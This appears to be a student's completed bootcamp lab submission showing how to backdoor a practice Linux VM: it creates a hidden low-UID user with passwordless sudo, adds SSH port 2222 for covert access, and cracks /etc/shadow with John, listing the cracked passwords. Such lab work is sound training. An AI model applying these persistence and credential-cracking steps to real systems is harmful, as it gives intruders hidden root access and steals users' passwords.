Cybersecurity

Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

```
root:~\ $ adduser --uid 777 --no-create-home sysd
```

2. Give your secret user a password.

```
Enter new UNIX password: hacker
```

3. Give your secret user a system UID < 1000.

```
Command executed on the previous command
root:~\ $ adduser --uid 777 --no-create-home sysd
```

4. Give your secret user the same GID.

```
root:~\ $ groupadd -g 777 sysd
```

5. Give your secret user full `sudo` access without the need for a password.

```
root:home\ $ sudo visudo
# User Privilege specification
sysd    ALL=(ALL) NOPASSWD:ALL
```

6. Test that `sudo` access works without your password.

```
sysd@scavenger-hunt:/home/sysadmin$ sudo -l
Matching Defaults entries for sysd on scavenger-hunt:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n\:/snap/bin

User sysd may run the following commands on scavenger-hunt:
    (ALL) NOPASSWD: ALL
```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file.

```
root:ssh\ $ nano sshd_config
Port 22
Port 2222
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
root:ssh\ $ systemctl restart sshd
```

2. Exit the `root` account.

```
root:~\ $ exit
sysadmin:~\ $ exit
logout
Connection to 192.168.6.105 closed.
```

3. SSH to the target machine using your `sysd` account and port `2222`.

```
sysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222
```

4. Use `sudo` to switch to the root user.

```
sysd@scavenger-hunt:/$ sudo su

You found flag_7:$1$zmr05X2t$QfOdeJVDpph5pBPpVL6oy0

root@scavenger-hunt:/#
```

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`.

```
sysd@scavenger-hunt:/home/sysadmin$ exit
exit
root:~\ $ exit
exit
sysadmin:sudoers.d\ $ exit
logout
Connection to 192.168.6.105 closed.
sysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222
sysd@192.168.6.105's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Apr 29 20:26:25 UTC 2023

  System load:  0.0               Processes:             92
  Usage of /:   55.1% of 9.74GB   Users logged in:       1
  Memory usage: 18%               IP address for enp0s3: 10.0.2.15
  Swap usage:   0%                IP address for enp0s8: 192.168.6.105
 * Strictly confined Kubernetes makes edge and IoT secure. Learn how
MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster
deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

88 packages can be updated.
1 update is a security update.

New release '20.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Apr 29 20:02:03 2023 from 192.168.6.104
Could not chdir to home directory /home/sysd: No such file or directory
sysd@scavenger-hunt:/$ sudo -s
root@scavenger-hunt:/#
```

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file.

```
sysd@scavenger-hunt:/home$ sudo -s
root@scavenger-hunt:/home# john /etc/shadow
root@scavenger-hunt:/home# john --show /etc/shadow
sysadmin:passw0rd:18387:0:99999:7:::
```

```
student:Goodluck!:18387:0:99999:7:::
mitnik:trustno1:18387:0:99999:7:::
babbage:freedom:18387:0:99999:7:::
lovelace:dragon:18387:0:99999:7:::
stallman:computer:18387:0:99999:7:::
turing:lakers:18387:0:99999:7:::
sysd:hacker:19476:0:99999:7:::

8 password hashes cracked, 0 left
```